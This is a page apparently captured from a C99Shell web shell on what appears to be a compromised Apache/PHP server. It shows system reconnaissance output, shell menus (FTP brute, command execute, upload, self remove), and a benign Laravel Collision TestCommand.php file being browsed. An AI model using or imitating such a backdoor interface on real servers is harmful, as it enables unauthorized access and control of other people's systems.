!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/nunomaduro/collision/src/Adapters/Laravel/Commands/   drwxr-xr-x
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestCommand.php (7.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
NunoMaduro\Collision\Adapters\Laravel\Commands;

use 
Dotenv\Exception\InvalidPathException;
use 
Dotenv\Parser\Parser;
use 
Dotenv\Store\StoreBuilder;
use 
Illuminate\Console\Command;
use 
Illuminate\Support\Env;
use 
Illuminate\Support\Str;
use 
NunoMaduro\Collision\Adapters\Laravel\Exceptions\RequirementsException;
use 
RuntimeException;
use 
Symfony\Component\Process\Exception\ProcessSignaledException;
use 
Symfony\Component\Process\Process;

/**
 * @internal
 *
 * @final
 */
class TestCommand extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'test
        {--without-tty : Disable output to TTY}
        {--parallel : Indicates if the tests should run in parallel}
        {--recreate-databases : Indicates if the test databases should be re-created}
    '
;

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Run the application tests';

    
/**
     * Create a new command instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
parent::__construct();

        
$this->ignoreValidationErrors();
    }

    
/**
     * Execute the console command.
     *
     * @return mixed
     */
    
public function handle()
    {
        if ((int) 
\PHPUnit\Runner\Version::id()[0] < 9) {
            throw new 
RequirementsException('Running Collision ^5.0 artisan test command requires at least PHPUnit ^9.0.');
        }

        
// @phpstan-ignore-next-line
        
if ((int) \Illuminate\Foundation\Application::VERSION[0] < 8) {
            throw new 
RequirementsException('Running Collision ^5.0 artisan test command requires at least Laravel ^8.0.');
        }

        if (
$this->option('parallel') && !$this->isParallelDependenciesInstalled()) {
            if (!
$this->confirm('Running tests in parallel requires "brianium/paratest". Do you wish to install it as a dev dependency?')) {
                return 
1;
            }

            
$this->installParallelDependencies();
        }

        
$options array_slice($_SERVER['argv'], $this->option('without-tty') ? 2);

        
$this->clearEnv();

        
$parallel $this->option('parallel');

        
$process = (new Process(array_merge(
                
// Binary ...
                
$this->binary(),
                
// Arguments ...
                
$parallel $this->paratestArguments($options) : $this->phpunitArguments($options)
            ),
            
null,
            
// Envs ...
            
$parallel ? [
                
'LARAVEL_PARALLEL_TESTING'                    => 1,
                
'LARAVEL_PARALLEL_TESTING_RECREATE_DATABASES' => $this->option('recreate-databases'),
            ] : [],
        ))->
setTimeout(null);

        try {
            
$process->setTty(!$this->option('without-tty'));
        } catch (
RuntimeException $e) {
            
$this->output->writeln('Warning: ' $e->getMessage());
        }

        try {
            return 
$process->run(function ($type$line) {
                
$this->output->write($line);
            });
        } catch (
ProcessSignaledException $e) {
            if (
extension_loaded('pcntl') && $e->getSignal() !== SIGINT) {
                throw 
$e;
            }
        }
    }

    
/**
     * Get the PHP binary to execute.
     *
     * @return array
     */
    
protected function binary()
    {
        switch (
true) {
            case 
$this->option('parallel'):
                
$command 'vendor/brianium/paratest/bin/paratest';
                break;
            case 
class_exists(\Pest\Laravel\PestServiceProvider::class):
                
$command 'vendor/pestphp/pest/bin/pest';
                break;
            default:
                
$command 'vendor/phpunit/phpunit/phpunit';
                break;
        }

        if (
'phpdbg' === PHP_SAPI) {
            return [
PHP_BINARY'-qrr'$command];
        }

        return [
PHP_BINARY$command];
    }

    
/**
     * Get the array of arguments for running PHPUnit.
     *
     * @param array $options
     *
     * @return array
     */
    
protected function phpunitArguments($options)
    {
        
$options array_merge(['--printer=NunoMaduro\\Collision\\Adapters\\Phpunit\\Printer'], $options);

        
$options array_values(array_filter($options, function ($option) {
            return !
Str::startsWith($option'--env=');
        }));

        if (!
file_exists($file base_path('phpunit.xml'))) {
            
$file base_path('phpunit.xml.dist');
        }

        return 
array_merge(["--configuration=$file"], $options);
    }

    
/**
     * Get the array of arguments for running Paratest.
     *
     * @param array $options
     *
     * @return array
     */
    
protected function paratestArguments($options)
    {
        
$options array_values(array_filter($options, function ($option) {
            return !
Str::startsWith($option'--env=')
                && !
Str::startsWith($option'--parallel')
                && !
Str::startsWith($option'--recreate-databases');
        }));

        if (!
file_exists($file base_path('phpunit.xml'))) {
            
$file base_path('phpunit.xml.dist');
        }

        return 
array_merge([
            
"--configuration=$file",
            
"--runner=\Illuminate\Testing\ParallelRunner",
        ], 
$options);
    }

    
/**
     * Clears any set Environment variables set by Laravel if the --env option is empty.
     *
     * @return void
     */
    
protected function clearEnv()
    {
        if (!
$this->option('env')) {
            
$vars self::getEnvironmentVariables(
                
// @phpstan-ignore-next-line
                
$this->laravel->environmentPath(),
                
// @phpstan-ignore-next-line
                
$this->laravel->environmentFile()
            );

            
$repository Env::getRepository();

            foreach (
$vars as $name) {
                
$repository->clear($name);
            }
        }
    }

    
/**
     * @param string $path
     * @param string $file
     *
     * @return array
     */
    
protected static function getEnvironmentVariables($path$file)
    {
        try {
            
$content StoreBuilder::createWithNoNames()
                ->
addPath($path)
                ->
addName($file)
                ->
make()
                ->
read();
        } catch (
InvalidPathException $e) {
            return [];
        }

        
$vars = [];

        foreach ((new 
Parser())->parse($content) as $entry) {
            
$vars[] = $entry->getName();
        }

        return 
$vars;
    }

    
/**
     * Check if the parallel dependencies are installed.
     *
     * @return bool
     */
    
protected function isParallelDependenciesInstalled()
    {
        return 
class_exists(\ParaTest\Console\Commands\ParaTestCommand::class);
    }

    
/**
     * Install parallel testing needed dependencies.
     *
     * @return void
     */
    
protected function installParallelDependencies()
    {
        
$command $this->findComposer() . ' require brianium/paratest --dev';

        
$process Process::fromShellCommandline($commandnullnullnullnull);

        if (
'\\' !== DIRECTORY_SEPARATOR && file_exists('/dev/tty') && is_readable('/dev/tty')) {
            try {
                
$process->setTty(true);
            } catch (
RuntimeException $e) {
                
$this->output->writeln('Warning: ' $e->getMessage());
            }
        }

        try {
            
$process->run(function ($type$line) {
                
$this->output->write($line);
            });
        } catch (
ProcessSignaledException $e) {
            if (
extension_loaded('pcntl') && $e->getSignal() !== SIGINT) {
                throw 
$e;
            }
        }
    }

    
/**
     * Get the composer command for the environment.
     *
     * @return string
     */
    
protected function findComposer()
    {
        
$composerPath getcwd() . '/composer.phar';

        if (
file_exists($composerPath)) {
            return 
'"' PHP_BINARY '" ' $composerPath;
        }

        return 
'composer';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0108 ]--